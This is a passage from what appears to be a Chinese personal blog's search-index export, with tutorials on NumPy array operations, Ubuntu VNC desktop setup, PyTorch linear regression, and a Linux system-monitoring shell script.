[[4 5 6]# [7 8 9]] (a, c)括号前面控制的是选取的行, 后面控制的是列。 5. 数组形状操作 查看数组形状 1234a = np.random.random((3, 2))print(a)print(a.shape)# result: (3, 2) 更改数组形状(不改变原始数组) 1234a = np.random.randint(1, 10, 6).reshape(3, 2)print(a)c = a.reshape((2, 3))print(c) 说明 numpy.reshape() 等效于 ndarray.reshape()。 numpy.reshape(a, newshape)。 其中newshape 用于指定新的形状(整数或者元组)。 更改数组形状(改变原始数组) 1234a = np.random.randint(1, 10, 6).reshape(3, 2)print(a)a.resize(2, 3)print(a) 数组扁平化(变为一维数组) 1234a = np.random.randint(1, 10, 6).reshape(3, 2)print(a)c = np.ravel(a)d = a.ravel() numpy.ravel(a, order=’C’) 按行读取numpy.ravel(a, order=’F’) 按列读取 垂直方向堆叠数组123456a = np.random.randint(10, size=(2, 2))b = np.random.randint(10, size=(2, 2))print(a)print(b)c = np.vstack((a, b))print(c) 输出 a: [[2 9] [8 1]] b: [[1 5] [0 1]]c: [[2 9] [8 1] [1 5] [0 1]] 拓展 d = np.hstack((a, b)) 水平方向上堆叠数组 6. 数组排序与统计 返回每列最大值 1234a = np.array(([1, 4, 3], [6, 2, 9], [4, 7, 2]))c = np.max(a, axis=0)print(c)# result: [6 7 9] 返回每行最小值 1234a = np.array(([1, 4, 3], [6, 2, 9], [4, 7, 2]))c = np.min(a, axis=1)print(c)# result: [1 2 2] 返回每列最大值索引 1234a = np.array(([1, 4, 3], [6, 2, 9], [4, 7, 2]))c = np.argmax(a, axis=0)print(c)# result: [1 2 1] 返回每行最小值索引 1234a = np.array(([1, 4, 3], [6, 2, 9], [4, 7, 2]))c = np.argmin(a, axis=1)print(c)# result: [0 1 2] 统计数组各列的中位数 1234a = np.array(([1, 4, 3], [6, 2, 9], [4, 7, 2]))c = np.median(a, axis=0)print(c)# result: [4. 4. 3.] 其他 np.mean(a, axis=1)统计数组各行的算术平均值 np.average(a, axis=0)统计数组各列的加权平均值 np.var(a, axis=1)统计数组各行的方差 np.std(a, axis=0) 统计数组各列的标准偏差","categories":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/categories/Numpy/"}],"tags":[{"name":"Numpy","slug":"Numpy","permalink":"http://yoursite.com/tags/Numpy/"},{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"}]},{"title":"ubuntu1604vnc","slug":"ubuntu1604vnc","date":"2019-10-05T11:40:54.000Z","updated":"2019-12-07T04:11:10.000Z","comments":true,"path":"2019/10/05/ubuntu1604vnc/","link":"","permalink":"http://yoursite.com/2019/10/05/ubuntu1604vnc/","excerpt":"ubuntu16.04 VNC远程桌面1. VNC简介","text":"ubuntu16.04 VNC远程桌面1. VNC简介 VNC(Virtual Network Console):虚拟网络控制台,一个远程控制的工具软件 VNC包括四个命令:vncserver, vncviewer, vncpasswd, vncconnect. VNC由两部分组成,客户端的应用软件(vncviewer) + 服务器端的应用程序(vncserver) 2. ubuntu16.04中安装服务端程序使用SSH登录到系统 step1 1sudo apt-get update step 2 1sudo apt-get install vnc4server step 3启动vncserver 1vncserver 步骤三中会出现如下界面输入密码即可,这是客户端登陆密码。出现如下界面说明服务端安装成功 此时使用vncviewer登录出现的界面如下所示,对此需要安装一个图形化桌面 3. ubuntu16.04安装图形化桌面3.1 全ubuntu16.04桌面(不推荐)gnome环境 缺点:占用资源多 step1 安装x-windows 1sudo apt-get install x-window-system-core step2 安装登录管理器(可不选) 1sudo apt-get install gdm step3 安装ubuntu桌面 1sudo apt-get install ubuntu-desktop step4 安装gnome配套软件 1sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal step5 修改VNC配置文件,使桌面生效 1vim ~/.vnc/xstartup 变成如下文件配置 1234567891011#!/bin/sh# Uncomment the following two lines for normal desktop:export XKL_XMODMAP_DISABLE=1 unset SESSION_MANAGER# exec /etc/X11/xinit/xinitrcunset DBUS_SESSION_BUS_ADDRESSgnome-panel &gnmoe-settings-daemon &metacity &nautilus &gnome-terminal & 重新启动就可以了 12vncserver -kill :1 #杀掉原桌面进程(:1)就是vncserver :1 #重新启动 3.2 ubuntu16.04剪切版(推荐) gnome环境 优点:占用系统资源少,仅安装核心组件:不安装例如 office、浏览器、等等的额外组件 step1 安装x-windows 1sudo apt-get install x-window-system-core step2 安装登录管理器(可不选) 1sudo apt-get install gdm step3 安装ubuntu桌面(剪切版) 1apt-get install --no-install-recommends ubuntu-desktop step4 安装gnome配套软件 1sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal step5 修改VNC配置文件,使桌面生效 1vim ~/.vnc/xstartup 在文件最后添加如下记录 1234gnome-panel &gnome-settings-daemon &metacity &nautilus & 3.3 安装xfce4桌面 优点:Xfce占用的内存和CPU使用量非常小;Xfce桌面很简单,而且没有乱七八糟的东西参考文献 step 1: 1sudo apt-get install xfce4 step 2:修改配置文件该文件路径一般在下面1vi ~/.vnc/xstartup 123456#x-window-manager &sesion-manager & xfdesktop & xfce4-panel &xfce4-menu-plugin &xfsettingsd &xfconfd &xfwm4 & 4. 卸载桌面程序4.1 卸载gnome桌面 step1: 卸载掉gnome-shell主程序及其配套软件 123sudo apt-get remove gnome-shellsudo apt-get remove ubuntu-desktopsudo apt-get remove gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal step2: 清理安装gnome时候留下的缓存程序软件包 12sudo apt-get autocleansudo apt-get clean 4.2 卸载xfce4桌面 step1: 卸载xfce4 1sudo apt-get remove xfce4 step2: 卸载相关软件 1sudo apt-get remove xfce4* step3: 自动卸载不必要的软件 1sudo apt-get autoremove step4: 系统清理 1apt-get clean 5. vnc相关的重要命令 启动vncserver :1是桌面号 1vncserver :1 关闭vncserver 1vncserver -kill :1 客户端连接vncserver 12ip:1ip:5901 参考文献[1] https://blog.csdn.net/u014389734/article/details/79513517[2] http://dblab.xmu.edu.cn/blog/1998-2/[3] https://www.cnblogs.com/chenmingjun/p/8506995.html Linux的桌面环境gnome、kde、xfce、lxde 等等使用比较","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"LinuxVNC","slug":"LinuxVNC","permalink":"http://yoursite.com/tags/LinuxVNC/"},{"name":"Ubuntu","slug":"Ubuntu","permalink":"http://yoursite.com/tags/Ubuntu/"}]},{"title":"pytorch01","slug":"pytorch01","date":"2019-09-24T07:57:24.000Z","updated":"2019-10-05T03:56:14.000Z","comments":true,"path":"2019/09/24/pytorch01/","link":"","permalink":"http://yoursite.com/2019/09/24/pytorch01/","excerpt":"PyTorch入门之线性回归torch参考链接","text":"PyTorch入门之线性回归torch参考链接 1. 安装 python 3.7 Torch 1.2.0 用于计算 matplotlib 用于画图 踩坑点 Torch安装需要用到pip命令,直接在pycharm中会失败 去官网获得pip的安装的命令 Torch官网 2. PyTorch基础知识 Tensor是PyTorch的基础数据结构 另一个重要的变量是Variable变量,该变量进行自动微分运算 反向传播算法随时进行该变量三个重要的值: 数据(data),父节点(creator),以及梯度(grad) 使用之前需要导入两个包 创建变量方法如下 123456import torch#导入自动梯度的运算包,主要用Variable这个类from torch.autograd import Variable#创建一个Variable,包裹了一个2*2张量,将需要计算梯度属性置为Truex = Variable(torch.ones(2, 2), requires_grad=True) x变量如下所示   注意 .data 可以返回一个 Variable 所包裹的 Tensor torch.rand(5, 3)产生[0,1]的均匀分布的随机数值,参数指定形状(一维时第二个参数可不要) torch.randn(100)产生均值为0,方差为1,正态分布随机数值(同样可以指定形状) torch.linspace(start, end, steps=100, out=None) → Tensor线性间隔的数值,返回一个一维张量 y.t()完成张量的转置 Tensor可以与numpy.ndarray进行转换 ndarray转换为Tensor 12a = np.ones([5, 3]) #建立一个5*3全是1的二维数组(矩阵)b = torch.from_numpy(a) #利用from_numpy将其转换为tensor Tensor转换为ndarry 1c = b.numpy() #b为Tensor 区别 :Tesnsor可以在GPU上运算 使用backward进行反向传播,计算一些导数信息,可通过.grad获得梯度 3. 单变量线性回归 y = ax + b 3.1 产生数据12345678910# linspace可以生成0-100之间的均匀的100个数字x = Variable(torch.linspace(0, 100).type(torch.FloatTensor))# 随机生成100个满足标准正态分布的随机数,均值为0,方差为1.# 将这个数字乘以10,标准方差变为10rand = Variable(torch.randn(100)) * 10# 将x和rand相加,得到伪造的标签数据y。# 所以(x,y)应能近似地落在y=x这条直线上y = x + rand 使用画图工具画图 1234567plt.figure(figsize=(10,8)) #设定绘制窗口大小为10*8 inch# 绘制数据,考虑到x和y都是Variable,# 需要用data获取它们包裹的Tensor,并专成numpyplt.plot(x.data.numpy(), y.data.numpy(), 'o')plt.xlabel('X') #添加X轴的标注plt.ylabel('Y') #添加Y轴的标注plt.show() #将图形画在下面 结果如下所示 3.2 递归下降step 1: 初始化参数(随机初始) 1234#创建a变量,并随机赋值初始化a = Variable(torch.rand(1), requires_grad = True)#创建b变量,并随机赋值初始化b = Variable(torch.rand(1), requires_grad = True) step 2: 训练1000次 123456789101112131415161718learning_rate = 0.0001 #设置学习率for i in range(1000): ### 下面这三行代码非常重要,这部分代码,清空存储在变量a,b中的梯度信息, ### 以免在backward的过程中会反复不停地累加 #如果a和b的梯度都不是空 if (a.grad is not None) and (b.grad is not None): a.grad.data.zero_() #清空a的数值 b.grad.data.zero_() #清空b的数值 #计算在当前a、b条件下的模型预测数值 predictions = a.expand_as(x) * x + b.expand_as(x) #通过与标签数据y比较,计算误差 loss = torch.mean((predictions - y) ** 2) print('loss:', loss.data.numpy()) loss.backward() #对损失函数进行梯度反传 #利用上一步计算中得到的a的梯度信息更新a中的data数值 a.data.add_(- learning_rate * a.grad.data) #利用上一步计算中得到的b的梯度信息更新b中的data数值 b.data.add_(- learning_rate * b.grad.data) a.expand_as(x) : 将a升级为同x一样维度的张量 step 3: 将训练后的结果展示出来 123456789x_data = x.data.numpy() # 获得x包裹的数据plt.figure(figsize = (10, 7)) #设定绘图窗口大小xplot, = plt.plot(x_data, y.data.numpy(), 'o') # 绘制原始数据yplot, = plt.plot(x_data, a.data.numpy() * x_data + b.data.numpy()) #绘制拟合数据plt.xlabel('X') #更改坐标轴标注plt.ylabel('Y') #更改坐标轴标注str1 = str(a.data.numpy()[0]) + 'x +' + str(b.data.numpy()[0]) #图例信息plt.legend([xplot, yplot],['Data', str1]) #绘制图例plt.show() 以下是拟合结果 3.3 测试x_test = Variable(torch.FloatTensor([1, 2, 10, 100, 1000])) #随便选择一些点1,2,……,1000 predictions = a.expand_as(x_test) * x_test + b.expand_as(x_test) #计算模型的预测结果 print(predictions) #输出附录完整代码 source: https://www.shiyanlou.com/courses/1073/learning/?id=5821","categories":[{"name":"deepLearing","slug":"deepLearing","permalink":"http://yoursite.com/categories/deepLearing/"}],"tags":[{"name":"PyTorch","slug":"PyTorch","permalink":"http://yoursite.com/tags/PyTorch/"},{"name":"线性回归","slug":"线性回归","permalink":"http://yoursite.com/tags/线性回归/"}]},{"title":"shell-auto","slug":"shell-auto","date":"2019-09-11T08:32:38.000Z","updated":"2020-02-12T07:10:06.027Z","comments":true,"path":"2019/09/11/shell-auto/","link":"","permalink":"http://yoursite.com/2019/09/11/shell-auto/","excerpt":"shell脚本实现Linux系统监控 代码见 https://github.com/oneCoderMan/myCodes/blob/master/shell/auto.sh","text":"shell脚本实现Linux系统监控 代码见 https://github.com/oneCoderMan/myCodes/blob/master/shell/auto.sh 一. 预备知识1.1 getopts 作用: 处理参数复杂的命令行选项和参数格式:getopts option_string args说明: option_string中是参数列表, args从命令行中接受的值 示例代码:option.sh 12345678910111213#! /bin/bashwhile getopts f:e:p: optiondo case "${option}" in f) file_name=${OPTARG};; e) editor=${OPTARG};; p) page=${OPTARG};; *) echo "invalid";; esacdoneecho "${file_name}"echo "${editor}"echo ${page} 运行命令:./option.sh -f bool.pdf -e YiJun -p HUANAN option_string是匹配的参数,字符后面有:表示该命令中必须加上参数,如-e yijun。否则会出现错误。参数的值会保存在OPTARG变量中。 检测到非法参数就会停止 1.2 $+sign各含义 $# :Stores the number of command-line arguments that were passed to the shell program. $? :Stores the exit value of the last command that was executed. $0 :Stores the first word of the entered command (the name of the shell program). $* :Stores all the arguments that were entered on the command line ($1 $2 …). $@ :Stores all the arguments that were entered on the command line, individually quoted (“$1” “$2” …). $> : 1>是标准输出重定向, 可以省去1(变为 > ); 2>错误重定向。$>是两种的结合,标准与错误重定向 >$1 : 将重定向到1管道, 即定向到标准输出 如下例子:./command -yes -no /home/username 1234$# = 3$* = -yes -no /home/username$@ = array: {"-yes", "-no", "/home/username"}$0 = ./command, $1 = -yes etc. 1.3 tput与颜色转义参考链接 tput作用:更改终端功能 12tput sgr0 # 恢复默认终端tput blink # 文本闪烁 一个例子1-3: 12tecreset=$(tput sgr0)echo -e '\\E[32m'"Operating System Type :" $tecreset $os 结果: 说明: 如果把1-3中的$tecreset去掉,都会是绿色。 方便操作,不用每次都使用命令替换$(), ``, 因此用一个变量tecreset存储命令。 linux终端的颜色由转义序列控制 转义序列由控制符 esc开头,控制序列引导符为:\\033或者\\e[,m为转义结束。 123格式1:\\033[ Param {;Param;...} m格式2:\\e[ Param {;Param;...}m 例子1-3 参考资料 12echo -e "\\033[颜色1;颜色2m 要展示的文字 \\033[0m"\\033[0m:表示将颜色恢复回原来的颜色 1.4 各种括号参考文献 $()与`` 用来做命令替换的,简化shell脚本的编写 ${} 变量替换的,即变量引用 $[]与 $(()) 都是用来做数学运算的注意 : $(())中的变量前面可以加$,也可不用 [] test命令的一种形式 左右需留空格,即判断true或者false (())与[[]] 分别是数学表达式和字符表达式[]的加强版 二.监控系统脚本各模块2.1 脚本安装 -i代码如下:123456789101112if [[ $iopt -eq 1 ]]; then #对变量的引用要加上$ then如果是同一行的话要加上; { #获得它的路径 wd=`pwd` #获得它的文件名 basename `echo $0` > /tmp/script #拼接 scriptname=`echo -e -n $wd/ && cat /tmp/script` # 加载到环境变量中去 su -c "cp $scriptname /usr/bin/monitor" root && echo "congratulations! install successful!" || echo "install failed!" }fi 代码说明 ``(反引号)是执行shell命令,可将结果保存在变量中。同$(),这个有些shell不支持。 basename 命令是将前缀和最后的/删除,保留最后一个字符串显示出来 $0 是指shell本生的文件名,sh test.sh得到 test.sh。./test.sh 得到的是./test.sh echo中的-e 用来打印转义符, -n不换行打印 su -c command USER 切换用户USER执行命令command,执行完之后返回原用户 || && 在命令组合中具有短路左右,可以看成if else结构 [[ ]] (())这个是进行数学表达式和字符表达式运算的加强版。推荐使用 ,左右需留空格 -eq 是数字等于判断, 对于字符串等于使用= 2.2 关于模块 -v代码如下: 123456if [[ $vopt -eq 1]]then { echo -e "monitor version 1\\nreleased Under ...." }fi 2.3 帮助模块 -h代码如下: 12345678if [[ $hopt -eq 1 ]]then { echo -e " -i\\tinstall the scripts " echo -e " -v\\tprint version " echo -e " -h\\t print help info" }fi 2.4 查看操作系统类型 注意 :不同操作系统对应的代码不一样啊, 本文中只讨论centOS系统.不同版本的代码见附录1 代码如下: 1234567891011121314151617181920#查看系统版本和名称OS=`uname -s`REV=`uname -r`MACH=`uname -m`#查看操作系统类型,这里适用于redHatif [[ ${OS} = "Linux" ]]; then{ KERNEL=`uname -r` #内核发布版本 if [ -f /etc/redhat-release ]; then # test -f filename, 测试是否为普通文件 { DIST="RedHat" Psuedoname=`cat /etc/redhat-release | sed s/.*\\(// | sed s/\\)//` REV=`cat /etc/redhat-release | sed s/.*release\\ // | sed s/\\ .*//` } fi OSSTR="${OS} ${DIST} ${REV}(${Psuedoname} ${KERNEL} ${MACH})"}fiecho ${OSSTR} 代码说明: uname是查看系统版本的命令 [ -f /etc/redhat-release ] 文件测试指令 可以查看 http://coolshell.cn/articles/9104.html 获取sed帮助 2.5 监控系统的各种信息 查看DNScat /etc/resolv.conf | sed '1d' | awk '{print $2}' 解释说明 读取配置文件,删除第一行, 打印第二个字段 查看系统负载12loadverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')echo -e "\\E[32m load average: \\E[0m "${loadverage} 说明 top -n 1 只迭代一次,不会动态刷新, top -n 1 -b 示非动态打印系统资源使用情况 查看系统运行时间 12tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d',')echo -e "\\E[32m System Uptime Days: \\E[0m "${loadverage} 说明 cut -f1 -d’,’: -f1选定第一列, -d'* ' 表示用*分割 来源:https://superuser.com/questions/247127/what-is-and-in-linux 附录附录1: 不同操作系统查看操作系统类型12345678910111213141516171819202122232425262728293031323334if [ "${OS}" = "SunOS" ] ; then OS=Solaris ARCH=`uname -p` OSSTR="${OS} ${REV}(${ARCH} `uname -v`)"# uname命令用于打印当前系统相关信息(内核版本号、硬件架构、主机名称和操作系统类型等)。elif [ "${OS}" = "AIX" ] ; then OSSTR="${OS} `oslevel` (`oslevel -r`)"#AIX是IBM开发的一套类UNIX操作系统,关于它更多的指令可以查看http://www.cnblogs.com/sbaicl/articles/2947795.htmlelif [ "${OS}" = "Linux" ] ; then KERNEL=`uname -r` if [ -f /etc/redhat-release ] ; then DIST='RedHat' PSUEDONAME=`cat /etc/redhat-release | sed s/.*\\(// | sed s/\\)//` REV=`cat /etc/redhat-release | sed s/.*release\\ // | sed s/\\ .*//`#sed通常用来匹配一个或多个正则表达式的文本进行处理,可以查看http://coolshell.cn/articles/9104.html elif [ -f /etc/SuSE-release ] ; then DIST=`cat /etc/SuSE-release | tr "\\n" ' '| sed s/VERSION.*//` REV=`cat /etc/SuSE-release | tr "\\n" ' ' | sed s/.*=\\ //` elif [ -f /etc/mandrake-release ] ; then DIST='Mandrake' PSUEDONAME=`cat /etc/mandrake-release | sed s/.*\\(// | sed s/\\)//` REV=`cat /etc/mandrake-release | sed s/.*release\\ // | sed s/\\ .*//` elif [ -f /etc/debian_version ] ; then DIST="Debian `cat /etc/debian_version`" REV="" fi if ${OSSTR} [ -f /etc/UnitedLinux-release ] ; then DIST="${DIST}[`cat /etc/UnitedLinux-release | tr "\\n" ' ' | sed s/VERSION.*//`]" fi OSSTR="${OS} ${DIST} ${REV}(${PSUEDONAME} ${KERNEL} ${MACH})"fi","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"shellScript","slug":"shellScript","permalink":"http://yoursite.com/tags/shellScript/"}]}]}